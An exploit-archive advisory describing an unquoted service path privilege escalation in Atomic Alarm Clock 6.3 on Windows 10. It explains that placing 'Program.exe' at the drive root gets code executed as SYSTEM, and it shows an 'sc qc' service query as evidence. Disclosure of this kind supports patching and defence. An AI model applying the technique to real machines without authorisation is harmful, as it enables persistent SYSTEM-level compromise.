Atomic Alarm Clock x86 6.3 - 'AtomicAlarmClock' Unquoted Service Path

ID: 102863
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Exploit Author: boku
# Date: 2020-04-17
# Vendor Homepage:
# Software Link:
# Version: 6.3
# Tested On: Windows 10 Pro 1909 (32-bit)
# Vulnerability Type: Local Privilege Escalation by unquoted service path owned by 'LocalSystem'.

# Vulnerability Description:
# The Atomic Alarm Clock service "timeserv.exe" will load an arbitrary EXE and execute it with SYSTEM integrity. 
# This security misconfiguration by the vendor can be exploited locally or as part of an attack chain. 
# By placing a file named "Program.exe" on the root drive, an attacker can obtain persistent arbitrary code execution. 
# Under normal environmental conditions, this exploit ensures escalation of privileges from Admin to SYSTEM.

C:\Users\boku>sc qc AtomicAlarmClock
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AtomicAlarmClock
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Atomic Alarm Clock\timeserv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Atomic Alarm Clock Time
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
1-4-2 (www02)